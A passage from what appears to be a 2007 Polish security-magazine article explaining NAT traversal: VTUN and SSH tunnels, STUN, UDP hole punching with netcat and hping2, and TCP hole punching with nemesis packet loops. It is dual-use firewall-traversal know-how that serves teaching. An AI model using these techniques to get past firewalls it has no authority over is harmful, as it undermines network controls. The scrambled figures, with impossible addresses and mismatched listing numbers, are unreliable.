zywania pakietów oraz żądań ARP
i tego gdzie znajdują się sieci lokal-
ne A i B.
Po wykonaniu powyższego zbio-
ru komend tunel powinien już dzia-
łać. Wysyłanie pakietów ping ko-
mendą
ping 192.168.18.200
wywoła-
ną na hoście A powinno spowodo-
wać przyjście pakietów ICMP Echo
Reply z hosta B.
Niektóre programy (na przykład
nmap) nie respektują parametru src
polecenia ip i używają adresu IP in-
terfejsu, przez który wychodzą pakie-
ty. Pakiety dochodzące do drugiego
końca tunelu mają adres źródłowy in-
terfejsu tunelującego czyli w naszym
przypadku pakiety docierające z A
do B mają adres 10.1.0.2. Aby host
B umiał odpowiedzieć na taki pakiet,
trzeba skonfigurować mu dodatkową
ścieżkę routingu do sieci hosta A.
Sytuacja nie jest tak prosta, jeśli
nie mamy uprawnień administratora
na hoście C. Jednak i w tym przy-
padku można zestawić tunel. Do te-
go celu użyjemy dodatkowo tunelo-
wania SSH. Host B połączy się z ho-
stem C przekierowując swój lokalny
port 5000 na port 5000 hosta C:
ssh -f -N -L5000:localhost:5000 uzytkow
nikB@157.158.180.200
Następnie host A wykona połącze-
nie, jednakże przekierowując zdalny
port 5000 na swój lokalny:
ssh -f -N -R5000:localhost:5000 uzytkow
nikA@157.158.180.200
Teraz wystarczy skonfigurować
VTUN jako serwer na hoście A i użyć
VTUN w trybie klienta na hoście B.
Host B łącząc się na adres localhost:
5000 łączy się do serwera VTUN
działającego w drugiej sieci lokalnej.
Warto przy tym wiedzieć, że ssh za-
pewnia dodatkową ochronę przesy-
łanych danych. De facto w tym roz-
wiązaniu mamy podwójną ochronę.
Pierwszą zapewnia sam mechanizm
VTUN, drugą SSH. Jednak bycie pa-
ranoikiem czasami popłaca.
Przedstawione wyżej techniki
nie wykorzystywały specyficznych
właściwości NAT-a. Jest to ponie-
kąd ich zaletą, gdyż mamy pewność,
że z dużym prawdopodobieństwem,
w każdym przypadku uda nam się
nawiązać połączenie. Techniki, któ-
re polegają na wykorzystaniu zacho-
wania NAT są o wiele ciekawsze, ale
nie dają tej pewności.
Drugie podejście
Jedną z takich technik jest STUN
(Simple Traversal of User Datagram
Protocol (UDP) Through Network
Address Translators (NATs)). Jak
można wywnioskować z nazwy, spo-
sób na przebijanie NAT dotyczy wy-
łącznie protokołu UDP. Jednak, jak
zostanie pokazane poniżej, technikę
tę da się również zastosować wobec
protokołu TCP.
Załóżmy, że komputery A i B
chcą wysyłać do siebie bezpośred-
nio datagramy. Aby to osiągnąć łą-
czą się z serwerem pośredniczącym
C. Przyjmijmy, że sieć komputera A
to 192.168.19.0/24 a sieć kompute-
ra B to 192.168.18.0/24. Komputery
A i B posiadają adresy w swoich sie-
ciach kolejno 100 i 200.
Interfejsy publiczne routerów R1 i
R2 to 157.158.181.42 i 157.158.180.235,
a komputer pośredniczący posiada
adres 157.158.180.200.
Gdy komputer A wysyła pakiet
UDP do komputera C poprzez router
R1, to router zapamiętuje, że taka sy-
Rysunek 7.
Zasada działania
protokołu TURN
Kanał
komunikacyjny
C
R1
A
B
R2
INTERNET
Listing 1.
Host C
echo
"1"
>
/
proc
/
sys
/
net
/
ipv4
/
conf
/
tap1
/
forwarding
echo
"1"
>
/
proc
/
sys
/
net
/
ipv4
/
conf
/
tap0
/
forwarding
echo
"1"
>
/
proc
/
sys
/
net
/
ipv4
/
conf
/
tap1
/
proxy_arp
echo
"1"
>
/
proc
/
sys
/
net
/
ipv4
/
conf
/
tap0
/
proxy_arp
ip
route
add
192.168
.
19.0
/
24
dev
tap0
ip
route
add
192.168
.
18.0
/
24
dev
tap1
hakin9 Nr 1/2007
www.hakin9.org
Obrona
48
tuacja miała miejsce i pozwala na
dwustronną komunikację pomiędzy
komputerami A i C. Na przykład, je-
śli A wyśle pakiet z źródłowym portem
3000 i docelowym 5000 do kompute-
ra C, to w momencie przechodzenia
przez router z NAT R1, adres źródłowy
(czyli 192.168.19.100) zostanie zamie-
niony na adres interfejsu zewnętrzne-
go – 157.158.181.42. Jeśli NAT na ro-
uterze R1 zamienia również porty źró-
dłowe to zostanie zamieniony również
ów port. Aby utrudnić sytuację załóż-
my, że R1 jak i R2 zamieniają nume-
ry portów połączeń zza NAT. Por-
ty źródłowe pakietów wychodzących
są z zakresu 30000-60000. Wraca-
jąc do naszego pakietu – po trans-
lacji adresu źródłowego i portu źró-
dłowego, wędruje on w kierunku ma-
szyny C z ustawionym adresem źró-
dłowym 157.158.181.42 i portem źró-
dłowym 50025. Dodatkowo router R1
zapamiętuje to połączenie. Wszyst-
kie pakiety, które będą pochodzić od
maszyny C, a ich port docelowy bę-
dzie równy 50025 (port źródłowy rów-
ny 5000) zostaną poddane translacji
odwrotnej – czyli zostanie przywróco-
ny adres docelowy maszyny A i orygi-
nalny port – 3000. W ten sposób A i C
mogą dokonywać dwustronnej komu-
nikacji. Jeżeli B również nawiąże po-
łączenie z C, to C będzie miał łącz-
ność zarówno z A i B. Klienci A i B
muszą dość często komunikować się
z C, aby routery R1 i R2 nie usunę-
ły wpisów w swoich tablicach transla-
cji. Teraz C może poinformować A o
adresie i porcie źródłowym B (tym po
translacji) i powiadomić B o adresach
i portach A. Załóżmy, że żądanie B
połączenia na port 5000 komputera C
z portu 4000 zostało zamienione tak,
że port źródłowy po przejściu przez
NAT wynosi 50000. Gdy zaistnieje
możliwość komunikowania się A i B
za pomocą techniki TURN, kompu-
tery mogą dokonać próby połączenia
bezpośredniego. W tym miejscu na-
leży trochę poszerzyć naszą wiedzę
o mechanizmie NAT. W momencie
otwarcia tak zwanego tunelu i zma-
powania lokalnego adresu i portu na
zewnętrzny adres i port poszczególne
NAT inaczej zachowują się w chwili,
w której zewnętrzna maszyna (nie
należąca do konwersacji) wyśle pa-
kiet do routera łączącego sieć lokalną
z Internetem na zmapowany adres
i port. Sytuację tą obrazuje rysunek 9.
Jeszcze więcej
rodzajów NAT
Równolegle z zaproponowanym
wcześniej podziałem, literatura kla-
syfikuje NAT ze względu na zacho-
wanie w takich sytuacjach jako:
• Full cone NAT;
• Restricted cone NAT;
• Port restricted cone NAT;
• Symmetric NAT.
Wszystkie mają wspólną cechę. A
mianowicie taką, że konsekwencją
przejścia pakietu przez router jest
zmiana adresu na zewnętrzny, pod-
czas gdy port źródłowy, o ile to jest
możliwe, zostanie zachowany. Ce-
chami charakterystycznymi pierwsze-
go jest między innymi to, że host nie
należący do konwersacji, chcąc wy-
słać pakiet do lokalnego komputera,
wysyła go na adres zewnętrzny ho-
sta za NAT. Ponadto jeśli host w sieci
lokalnej użyje tego samego portu źró-
dłowego do skomunikowania się z in-
nym hostem w Internecie, to NAT nie
zmieni portu źródłowego po translacji.
W swoim działaniu przypomina czę-
ściowo dwukierunkowy NAT, o którym
wspomniano wcześniej.
Drugi – Restricted cone NAT, za-
chowuje się tak jak Full cone NAT z tą
Listing 2.
Plik konfiguracyjny VTUN na komputerze pośredniczącym C
options
{
port
5000
;
syslog
daemon
;
ifconfig
/
sbin
/
ifconfig
;
}
default
{
speed
0
;
}
hosta
{
passwd
Ma
&
^
TU
;
type
ether
;
device
tap0
;
proto
tcp
;
compress
lzo
:
1
;
encrypt
yes
;
stat
yes
;
keepalive
yes
;
up
{
ifconfig
"%% 10.1.0.1 netmask 255.255.255.0"
;
}
;
down
{
# Shutdown tap device.
ifconfig
"%% down"
;
}
;
}
hostb
{
passwd
Ma
&
^
TU
;
type
ether
;
device
tap1
;
proto
tcp
;
compress
lzo
:
1
;
encrypt
yes
;
stat
yes
;
keepalive
yes
;
up
{
ifconfig
"%% 10.2.0.1 netmask 255.255.255.0"
;
}
;
down
{
ifconfig
"%% down"
;
}
;
}
Wszystko o NAT
hakin9 Nr 1/2007
www.hakin9.org
49
różnicą, że wysłany przez zewnętrz-
nego hosta pakiet dotrze do sieci lo-
kalnej wyłącznie w przypadku, gdy
host z wewnątrz sieci wysłał wcze-
śniej pakiet do zewnętrznego hosta.
Port restricted cone NAT dodaje ob-
ostrzenie w postaci konieczności za-
chowania numerów portów. Wysłany
przez zewnętrznego hosta pakiet uży-
wający portu źródłowego X i portu do-
celowego Y dotrze do hosta za NAT
wyłącznie wtedy, gdy host ten wyśle
najpierw pakiet do zewnętrznego ho-
sta, jego port docelowy to X, a jego
port źródłowy po opuszczeniu route-
ra NAT będzie zmapowany na Y. Naj-
trudniejszy do przebicia jest Symme-
tric NAT, gdyż ograniczenie dotyczy
w tym przypadku nie tylko adresów,
ale także portów źródłowych i doce-
lowych, a wszystkie parametry są uni-
kalne dla każdego połączenia. Tylko
komputer, który używa tej samej pary
parametrów, odpowiadając pakietem
na adres i port źródłowy, skomunikuje
się z hostem zza NAT. Dodatkowo, je-
śli komputer z sieci lokalnej użyje tego
samego portu źródłowego do skomu-
nikowania się z innym adresem, to po
opuszczeniu NAT, port źródłowy zo-
stanie zmieniony. Zachowanie wyżej
opisanych NAT zobrazowane jest na
rysunkach nr 11,12 oraz 13.
Symetryczny NAT jest często
określany jako not well behaved.
Jednak nawet używając tego typu
NAT jesteśmy w stanie tworzyć bez-
pośrednie połączenia. Polegają one
na przewidywaniu portu źródłowego,
który zostanie wybrany jako kolejny.
Tunel UDP
Załóżmy, że NAT routerów R1 i R2 to
Port restricted cone NAT, ponieważ
takie są najczęściej spotykane obec-
nie. Port restricted cone NAT ma tą
ciekawą właściwość, że jest well be-
haved. Oznacza to ni mniej ni więcej,
że tak długo, jak host A będzie używał
portu źródłowego równego 3000 do
wysłania pakietu, tak długo NAT bę-
dzie używał tego samego portu (czyli
50025). Wracając do sytuacji opisa-
nej wcześniej, hosty A i B mają po-
łączenia z C, host A wysyła pakiet
w kierunku routera R2 z ustawio-
nym portem źródłowym 3000 i por-
tem docelowym 50000. W momen-
cie translacji – na routerze R1 zo-
stanie zamieniony adres i port źró-
dłowy tak samo, jak w przypadku łą-
czenia się z hostem C. Dodatkowo
zostanie odnotowane, aby wpusz-
czać do wewnątrz ruch pochodzący
od routera R2 przychodzący z por-
tu 50000. Router R2 odebrawszy pa-
kiet odrzuci go, gdyż host B jeszcze
nie przestawił swojego NAT tak, aby
akceptował połączenia z R1. W za-
leżności od konfiguracji routera może
zostać wysłany pakiet ICMP port
unreachable.
Załóżmy, że NAT R2 nie wysłał
takiego pakietu. Gdy B wyśle pakiet
(używając oczywiście tego samego
Rysunek 8.
Schemat przykładowej sieci
200.158.180.200
157.158.181.42
192.168.19.100
192.168.18.200
157.158.180.235
INTERNET
Połączenie
R1
R2
A
B
C
Rysunek 9.
Host nie należący do konwersacji łączący się do zmapowanego
połączenia na routerze
200.158.180.200
157.158.181.42
192.168.19.100
157.158.180.235
INTERNET
Połączenie
R1
A
B
C
SRC:157.158.181.42:50025
DST 157.158.180.200:5000
SRC:157.158.180.235:4000
DST 157.158.181.42:50025
hakin9 Nr 1/2007
www.hakin9.org
Obrona
50
portu źródłowego) do R1, to ten za-
mieni adres i port docelowy pakietu
gdyż został wcześniej przeprogramo-
wany przez próbę połączenia się A
z B. Teraz A i B mogą się bezpośred-
nio komunikować wysyłając pakie-
ty UDP na swoje zewnętrzne adresy
i porty. W całej komunikacji zaginął
wyłącznie jeden pakiet. Jest to cena,
jaką należy zapłacić za możliwość
bezpośredniego połączenia.
Powyższy schemat ma zastoso-
wanie w przypadku, gdy NAT na R1
i R2 zmieniają porty źródłowe.
Sprawa się nieco upraszcza w mo-
mencie, gdy NAT nie zamienia por-
tów źródłowych. W tym przypadku
nic nie stoi na przeszkodzie, by do-
konać próby nawiązania połączenia
bez pośrednika. Aby otworzyć tunel
w NAT R1 należy wysłać z A pakiet
w kierunku R2.
Tunel UDP w praktyce
Do stworzenia tunelu UDP po-
trzebne będą nam następują-
ce narzędzia: netcat, hping2 oraz
Rysunek 10.
Dzialanie Full Cone NAT
Komputer A
IP: 192.168.19.100
Scr: 192.168.19.3000
Dst: 157.158.180.200:5000
Dst: 157.158.181.42:3000
Dsc 157.158.180.200:5000
Scr: 192.168.19.5000
Dst: 192.168.19.100:3000
Dst: 157.158.180.200:5000
Dsc 157.158.181.42:3000
Dst: 157.158.180.200:7000
Dsc 157.158.181.42:3000
Dst: 157.158.180.200:7000
Dsc 192.168.19.100:3000
Dst: 157.158.180.235:5000
Dsc 192.168.19.100:3000
Dst: 157.158.180.235:5000
Dsc 158.158.181.42:3000
Dst: 157.158.180.235:5000
Dsc 192.168.19.100:3000
Dst: 157.158.180.235:7000
Dsc 157.158.181.42:3000
Komputer R1
IP: 157.158.181.42
Komputer C
IP: 157.158.180.200
Komputer B
IP: 157.158.180.235
Rysunek 11.
Działanie Restricted Cone NAT
Komputer A
IP: 192.168.19.100
Scr: 192.168.19.3000
Dst: 157.158.180.200:5000
Dst: 157.158.181.42:3000
Dsc 157.158.180.200:5000
Dst: 157.158.181.42:3000
Dsc 157.158.180.235:5000
Dst: 192.168.19.100:3000
Dsc 157.158.180.235:5000
Dst: 157.158.180.235:5000
Dsc 192.168.19.100:3000
Dst: 157.158.180.235:5000
Dsc 192.168.19.100:3000
Dst: 157.158.180.235:5000
Dsc 157.158.181.42:3000
Dst: 157.158.180.235:7000
Dsc 192.168.19.100:3000
Dst: 157.158.180.235:3000
Dsc 157.158.181.42:3000
Komputer R1
IP: 157.158.181.42
Komputer C
IP: 157.158.180.200
Komputer B
IP: 157.158.180.235
Scr: 192.168.19.5000
Dst: 192.168.19.100:3000
Dst: 157.158.180.200:5000
Dsc 157.158.181.42:3000
Dst: 157.158.180.200:7000
Dsc 157.158.181.42:3000
Dst: 157.158.180.200:7000
Dsc 192.168.19.100:3000
Wszystko o NAT
hakin9 Nr 1/2007
www.hakin9.org
51
skrypt napisany w języku Perl z Li-
stingu nr 3.
Skrypt z Listingu nr 3 uruchamia-
my na komputerze C. Jego zada-
niem jest nasłuchiwanie na porcie nr
5000 i wypisywanie na ekran termi-
nala parametrów hostów łączących
się z C oraz wiadomości jakie owe
hosty wysyłają.
Na komputerze A uruchamiamy
netcata:
netcat -l -u -p 3000
Spowoduje to nasłuchiwanie ma-
szyny A na porcie 3000. Zawartość
wszystkich pakietów zaadresowa-
nych do A i posiadających port do-
celowy 3000 zostanie wypisana na
ekranie terminala. Następnie otwie-
ramy tunel w NAT na obu maszy-
Rysunek 12.
Działanie Port Restricted Cone NAT
Komputer A
IP: 192.168.19.100
Scr: 192.168.19.3000
Dst: 157.158.180.200:5000
Dst: 157.158.181.42:3000
Dsc 157.158.180.200:5000
Dst: 157.158.181.42:3000
Dsc 157.158.180.235:5000
Dst: 192.168.19.100:3000
Dsc 157.158.180.235:5000
Dst: 157.158.180.235:5000
Dsc 192.168.19.100:3000
Dst: 157.158.180.235:5000
Dsc 157.158.181.42:3000
Dst: 157.158.180.235:7000
Dsc 157.158.181.42:3000
Dst: 157.158.180.235:5000
Dsc 157.158.181.42:3000
Komputer R1
IP: 157.158.181.42
Komputer C
IP: 157.158.180.200
Komputer B
IP: 157.158.180.235
Scr: 157.158.180:5000
Dst: 192.168.19.100:3000
Dst: 157.158.180.200:5000
Dsc 157.158.181.42:3000
Dst: 157.158.180.200:7000
Dsc 157.158.181.42:3000
Rysunek 13.
Działanie Symmetric NAT
Komputer A
IP: 192.168.19.100
Scr: 192.168.19.3000
Dst: 157.158.180.200:5000
Dst: 157.158.181.42:3000
Dsc 157.158.180.200:5000
Dst: 157.158.181.42:7000
Dsc 157.158.180.235:5000
Dst: 192.168.19.100:3000
Dsc 157.158.180.235:5000
Dst: 157.158.180.235:5000
Dsc 192.168.19.100:3000
Dst: 157.158.180.235:5000
Dsc 157.158.181.42:3000
Dst: 157.158.180.235:5000
Dsc 157.158.181.42:7000
Dst: 157.158.180.235:5000
Dsc 157.158.181.42:3000
Komputer R1
IP: 157.158.181.42
Komputer C
IP: 157.158.180.200
Komputer B
IP: 157.158.180.235
Scr: 157.158.180.200:5000
Dst: 192.168.19.100:3000
Dst: 157.158.180.200:5000
Dsc 157.158.181.42:3000
Dst: 157.158.180.200:7000
Dsc 157.158.181.42:3000
hakin9 Nr 1/2007
www.hakin9.org
Obrona
52
nach. Na A musimy użyć portu źró-
dłowego równego 3000, ponieważ
na tym porcie netcat nasłuchuje pa-
kietów:
hping2 157.158.180.200 -2 -s 3000 -p
5000 -c 1
spowoduje to pojawienie się na ter-
minalu C komunikatu
[157.158.181.42: 3000]>
świadczącego o tym, że pakiet
zza NAT dotarł do R1 nie zmie-
nił portu źródłowego. Następnie
czynność tą powtarzamy na kom-
puterze B:
hping2 157.158.180.200 -2 -s 4000 -p
5000 -c 1
co z kolei powinno na C spowodo-
wać powstanie komunikatu:
Rysunek 14.
Poszczególne fazy tworzenia tunelu UDP
257.158.180.200
257.158.180.200
Pakiet UDP
DST=157.158.180:5000
SRC=157.158.181:50000
Pakiet UDP
DST=157.158.181.42:5000
SRC=157.158.180.200:50000
O zawartości:
"157.158.180.235:50025"
Pakiet UDP
DST=157.158.180.235:50025
SRC=157.158.180.200:50000
O zawartości:
"157.158.181.42:50000"
Pakiet UDP
DST=157.158.180:5000
SRC=157.158.181:50000
257.158.180.200
192.168.18.200
192.168.18.200
192.168.19.100
157.158.181.42
157.158.181.42
157.158.180.235
157.158.181.42
157.158.180.235
157.158.180.235
157.158.181.42
157.158.180.235
192.168.19.100
192.168.18.200
192.168.18.200
192.168.19.100
192.168.19.100
257.158.180.200
Pakiet UDP
DST=157.158.180.235:50025
SRC=157.158.42:50000
Pakiet UDP
DST=157.158.181.42:50000
SRC=157.158.180.235:50025
Wszystko o NAT
hakin9 Nr 1/2007
www.hakin9.org
53
[157.158.180.235: 4000]>
Teraz na komputerze A przestawia-
my nat w R1 tak, aby akceptował
pakiety od R2:
hping2 157.158.180.235 -2 -s 3000 -p
4000 -c 1
Na B przestawiamy NAT R2 tak, aby
akceptował pakiety od R1:
hping2 157.158.181.42 -2 -s 4000 -p
3000 -c 1
Teraz możemy na B uruchomić net-
cata z parametrami:
nc -p 4000 157.158.181.42 3000 -u
Po wykonaniu ostatniego polecenia,
wszystko co wpiszemy w okienko na
hoście B pojawi się w okienku netcat
hosta A.
Tworzenie tunelu tym sposobem
nie jest zbyt użyteczne. Na szczęście
powstały narzędzia które automatycz-
nie wysyłają sekwencje wiadomości
tworzących połączenie. Dość cieka-
wym narzędziem jest skrypt perlowy
nat-traverse dostępny na [13]. Aby
osiągnąć identyczny rezultat jak w po-
wyższym przykładzie, wystarczy na
maszynie A wykonać polecenie:
nat-traverse 3000:157.158.180.235:4000
a na maszynie B:
nat-traverse 4000:157.158.181.42:3000
Program ten posiada jedną ciekawą
opcję. Jest nią możliwość wywołania
dowolnego polecenia i przekierowa-
nie strumieni – wejściowego i wyj-
ściowego w ten sposób, że wszyst-
ko co polecenie wypisze zostanie
wysłane przez gniazdo do drugiego
komputera. Wszystko co przyjdzie
z tunelu zostanie przekierowane ja-
ko strumień standardowego wejścia
do polecenia. Za pomocą tej opcji
można przesyłać katalogi pomiędzy
komputerami:
hostA# nat-traverse 3000:
157.158.180.235:4000 –cmd=tar cj
katalog
hostB# nat-traverse 4000:
157.158.181.42:3000 –cmd=cat >
katalog.tar.bz2
Możemy również za pomocą tego
narzędzia przekazywać połączenia
TCP. Wystarczy wykorzystać do te-
go celu program netcat:
hostA# nat-traverse 3000:
157.158.180.235:4000 –cmd=nc -lvp 5000
hostB# nat-traverse 4000:
157.158.181.42:3000 –cmd=nc -v
localhost 22
Rysunek 15.
Czasy transmisji pakietów
C
t1
t2
t3
t4
B
A
NAT A
NAT B
Rysunek 16.
Trzy fazy nawiązywania połączenia
Komputer R1
IP: 157.158.181.42
S=157.158.181.42.3000
D=157.158.180.200:5000
SEQ:10000
ACK:0
FLAGS: SYN
S=157.158.181.200.5000
D=157.158.181.42:3000
SEQ:20000
ACK:10001
FLAGS: SYN,ACK
S=157.158.181.200.5000
D=157.158.181.42:3000
SEQ:20000
ACK:10001
FLAGS: SYN,ACK
Komputer C
IP: 157.158.180.200
Listing 3.
Plik konfiguracyjny
VTUN na komputerze B
options
{
port
5000
;
timeout
60
;
ifconfig
/
sbin
/
ifconfig
;
}
hostb
{
passwd
Ma
&
^
TU
;
type
ether
;
device
tap1
;
proto
tcp
;
up
{
ifconfig
"%% 10.2.0.2
netmask 255.255.255.0"
;
}
;
down
{
ifconfig
"%% down"
;
}
;
}
hakin9 Nr 1/2007
www.hakin9.org
Obrona
54
Teraz można połączyć się z hosta
A do serwera ssh działającego na
hoście B poprzez połączenie z in-
terfejsem loopback na port 5000.
Za pomocą netcat można również
przekazywać połączenia UDP. Sko-
ro można przekazywać połącze-
nia UDP oraz TCP, to nic nie stoi na
przeszkodzie aby uruchomić VPN
działający poprzez ten tunel. Wy-
starczy przekazać lokalny port tcp
5000 do zdalnego hosta, na którym
działa VTUN oraz połączyć się
klientem VTUN do localhost:5000.
Należy przy tym pamiętać, że po
pierwsze tracimy niezawodność
protokołów takich jak TCP a po dru-
gie sam proces enkapsulacji posia-
da duży narzut danych (TCP w IP
w ethernet w UDP).
Jeśli firewall na routerach jest
skonfigurowany tak, aby odpowiadać
komunikatami ICMP na pakiety UDP
których „nie zna”, to stworzenie tune-
lu może się nie powieść, ponieważ
niektóre NAT reagują na komunika-
ty ICMP. Jeśli pakiet hosta A dotrze
do NAT B przed wysłaniem przez B
UDP w kierunku A, to może dojść do
sytuacji, w której R2 odpowie pakie-
tem ICMP (port unreachable) do R1,
co w przypadku niektórych NAT mo-
że uniemożliwić połączenie.
Przeszkoda ICMP
Jeśli nasz NAT reaguje na tego
typu pakiety ICMP, to można za-
mienić jeden typ ICMP na inny.
Wystarczy pierwszemu pakie-
towi wysłanemu w kierunku dru-
giego routera ustawić odpowiednio
niską wartość TTL. Wartość TTL
jest zmniejszana wraz z przejściem
przez każdy router. Gdy osiągnie
zero, następuje odrzucenie pakietu
i wysyłanie komunikatu ICMP nr 36
time exceeded in-transit.
Kolejną kwestią jest synch-
ronizacja całej operacji. Jeśli NAT
wysyła pakiety ICMP oznacza to,
że host w sieci lokalnej nie wysłał
jeszcze pakietu przestawiającego
NAT. Niektóre wersje NAT w takiej
sytuacji zaczynają zmieniać porty
źródłowe wychodzących pakietów,
co znacznie utrudnia komunikację.
Aby pakiety dotarły do obu NAT
dokładnie w tym samym momencie
należy zapewnić aby:
t1+t3=t2+t4
z czego wynika że każdy z hostów
musi przed wysłaniem pakietu po-
czekać:
T = max(t1+t3, t2+t4) – z
gdzie z jest sumą czasów transmi-
sji pakietów danego hosta z C oraz
czasu wędrówki pakietu do przeciw-
ległego NAT
Jednak w większości przypad-
ków tak dokładna synchronizacja nie
jest potrzebna. Wystarczy sprawić,
aby hosty A oraz B wysłały pakiety
w tym samym momencie czyli:
T = max(t1, t2) – z
Listing 4.
Skrypt w języku Perl dzięki któremu dowiemy się jak
mapowane są połączenia w naszym NAT
#!/usr/bin/perl -w
use
strict
;
use
IO
::
Socket
;
my
(
$
sock
, $
remote
, $
message
);
$
sock
=
IO
::
Socket
::
INET
->
new
(
LocalPort
=>
5000
,
Proto
=>
'
udp
'
)
or
die
"socket: $@"
;
while
(
$
remote
=
$
sock
->
recv
(
$
message
,
1024
))
{
my
(
$
port
, $
addr
)
=
sockaddr_in
(
$
remote
);
my
$
host_str
=
inet_ntoa
(
$
addr
);
printf
"[%s:%5d]> %s
\n
"
, $
host_str
, $
port
, $
message
;
}
die
"recv: $!"
;
Rysunek 17.
Używanie TTL do stworzenia połączenia P2P
NAT_A
SYN
(Małe TTL
SYN
(Małe TTL
SYN
(Małe TTL
SYN
(Małe TTL
SYN
(Małe TTL
SYN-ACK
SYN-ACK
ACK
ACK
SYN
(Małe TTL
NAT_B
NAT_B
NAT_A
ICMP
ICMP
ICMP
ICMP
ACK
ACK
SYN
ACK
ICMP
Wartosc TTL
Spoof
SYN-ACK
Spoof
SYN-ACK
Wartosc TTL
NAT_A
NAT_B
C
C
Wartość TTLA
Wartość TTLA
Wartość TTLB
Wartość TTLB
Wszystko o NAT
hakin9 Nr 1/2007
www.hakin9.org
55
Czas na TCP
Techniki UDP hole punching są za-
zwyczaj skuteczne, ponieważ pro-
tokół UDP nie jest tak skomplikowa-
ny jak na przykład TCP. Jeśli używa-
my innych protokołów, takich jak TCP,
to sytuacja się skomplikuje, ponieważ
posiadaon określony schemat nawią-
zywania połączenia, którego popraw-
ności mogą pilnować nie tylko po-
szczególne implementacje NAT, ale
również systemy antywłamaniowe,
firewall’e itp. Jeśli już opanujemy tech-
nikę przebijania NAT za pomocą UDP,
to zawsze możemy zastosować en-
kapsulacje TCP czy nawet całego IP
w UDP tworząc pełny tunel IP. Pomi-
mo iż TCP jest protokołem bardziej
złożonym niż UDP istnieją metody po-
zwalające na stworzenie bezpośred-
nich połączeń pomiędzy komputera-
mi zza różnych NAT.
Na początek należy przyjrzeć się
metodom nawiązywania połączenia
TCP i zastanowić się, co przy sto-
sowaniu technik może zakończyć się
niepowodzeniem na poszczególnych
etapach połączenia.
Zainicjalizowanie połączenia na-
stępuje w trzech etapach. W pierw-
szym etapie klient wysyła pakiet
z ustawioną flagą SYN, która świad-
czy o chęci nawiązania połączenia.
Jeśli zdalny host zechce zaakcepto-
wać połączenie, to w drugim etapie
odsyła pakiet z ustawioną flagą SYN
oraz ACK. W trzecim etapie inicjator
połączenia potwierdza odebranie in-
formacji od serwera wysyłając pakiet
z ustawioną flagą ACK. Trzystopnio-
wy schemat nawiązywania połącze-
nia ma dodatkowo na celu zsynchro-
nizowanie numerów sekwencyjnych
używanych do zapewnienia popraw-
ności transmitowanych danych. Flaga
SYN ustawiana w pakietach informu-
je, że zawiera on numer sekwencyjny.
Każde połączenie TCP ma dwa takie
numery. Każda ze stron posiada wła-
sną liczbę reprezentującą pewnego
rodzaju licznik wysłanych danych.
Aby zastosować techniki przebija-
nia firewall-i używając protokołu TCP,
należy spowodować, by obie strony
połączenia przeszły poprawnie przez
trzy etapy. Jeśli któryś z etapów zo-
stanie pominięty, to nawiązanie po-
łączenia wymaga zastosowania do-
datkowych operacji. Należy wiedzieć,
że niektóre implementacje NAT pilnu-
ją tego, aby poszczególne kroki połą-
czenia następowały dokładnie po so-
bie. Np. nie wpuszczą pakietu z usta-
wioną flagą SYN do sieci lokalnej, je-
śli oczekiwany jest pakiet z ustawio-
nymi flagami SYN-ACK. Dodatko-
wo NAT mogą pilnować zachowania
poprawności numerów sekwencyj-
nych w trzech etapach połączenia.
Jądra Linux z serii 2.4 są bardzo
tolerancyjne jeśli chodzi o przestrze-
ganie tych zasad.
Aby pakiety przechodziły z jed-
nej sieci lokalnej do drugiej wystar-
czy wysyłać dużą ilości odpowiednio
sformatowanych ramek z A oraz B.
Na hoście A uruchamiamy program
nemesis, który będzie wysyłał ramki
z ustawionymi flagami SYN-ACK:
#while true; do nemesis tcp -x 3000
-y 3000 -fSA -s 0 -a 0 -S
192.168.19.100 -D 157.158.180.235; done
Z hosta B musimy wysyłać ramki
TCP z ustawioną flagą SYN:
#while true; do nemesis tcp -x 3000
-y 3000 -fS -s 0 -a 0 -S 192.168.18.200-D
157.158.181.42; done
Aby sprawdzić czy do B dociera-
ją ramki A z ustawionymi flagami
SYN-ACK, to najprościej posłużyć
się tcpdumpem:
#tcpdump -n 'tcp[13]==0x12'
Filtr tcpdump powinien przepuścić
tylko te ramki, które mają ustawione
flagi SYN oraz ACK.
Nie takie TCP straszne
Próba połączenia dwóch kompute-
rów w dwóch różnych sieciach lokal-
nych wykorzystujących TCP może
przebiegać prawie analogicznie do
przypadku posługiwania się protoko-
łem UDP. Przypuśćmy, że NAT na
R1 i R2 nie modyfikuje portów źródło-
wych. Każdy z klientów A i B otwiera
połączenie nasłuchujące (dla uprosz-
czenia załóżmy, że na porcie 3000).
Następnie obydwa komputery wyko-
nują połączenie do C na port 5000
W Sieci
• http://news.zdnet.com/2100-1009_22-842973.html – artykuł przewidujący wy-
czerpanie adresów IP w 2005roku;
• http://bgp.potaroo.net/ipv4/ – szczegółowy raport przewidujący wykorzystanie ad-
resów IP w przyszłości;
• http://www.cisco.com/web/about/ac123/ac147/archived_issues/ipj_8-3/ipv4.html
– raport na temat „konsumpcji” adresów IP;
• http://nutss.gforge.cis.cornell.edu/pub/imc05-tcpnat/ – analiza i opis technik prze-
bijania NAT i firewalli;
• http://www.brynosaurus.com/pub/net/p2pnat/ – opis technik przebijania NAT
z użyciem UDP i TCP;
• http://freshmeat.net/projects/nat-traverse/ – biblioteka wykorzystująca opisane
w artykule techniki;
• http://nutss.gforge.cis.cornell.edu/stunt.php – strona domowa STUNT (Simple
Traversal of UDP Through NATs and TCP);
• http://freshmeat.net/projects/stund/ – strona domowa klienta i serwera używają-
cego STUN;
• http://vtun.sourceforge.net/ – oprogramowanie pozwalające stworzyć wirtualny tu-
nel ethernetowy enkapsulowany w TCP lub UDP;
• http://openvpn.net/ – implementacja VPN bardziej zaawansowana niż VTUN;
• Linux Server Hacks, Oreilly 2003 – znajdziemy w tej książce wiele ciekawych po-
rad. Między innymi opis tunelowania VPN w SSH, który został skrótowo opisany
w artykule;
• http://samy.pl/chownat/ – strona z której możemy pobrać program chownat;
• http://linide.sourceforge.net/nat-traverse/ – tutaj znajdziemy skrypt nat-traverse;
• http://www.cis.nctu.edu.tw/~gis87577/xDreaming/XSTUNT/index.html – tutaj
znajduje się biblioteka XSTUNT oraz przykładowy program.
hakin9 Nr 1/2007
www.hakin9.org
Obrona
56
używając portu 3000 jako portu źró-
dłowego (muszą przed połączeniem
użyć polecenia „bind” na otwartym
gnieździe). W tym momencie klienci
A i B nasłuchują na porcie 3000 oraz
posiadają połączenie z hostem C
(port źródłowy 3000 a port docelowy
5000). Od serwera S dowiadują się o
swoich publicznych interfejsach. Host
A dowiaduje się, że publiczny inter-
fejs B to 157.158.180.235 i używa on
portu 3000 do połączenia się z C
(przy założeniu, że NAT R1 i R2 nie
